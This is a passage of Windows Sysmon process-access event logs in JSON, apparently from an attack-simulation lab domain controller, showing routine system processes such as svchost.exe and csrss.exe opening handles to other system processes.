11:59:40.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6292,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2232\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-0010A92A0900}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\System32\\XblGameSaveTask.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+36c9|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2232","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-0010A92A0900}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\System32\\XblGameSaveTask.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+36c9|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6293,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-0010A92A0900}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\System32\\XblGameSaveTask.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-0010A92A0900}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\System32\\XblGameSaveTask.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6294,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6295,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6296,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6297,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6298,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6299,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 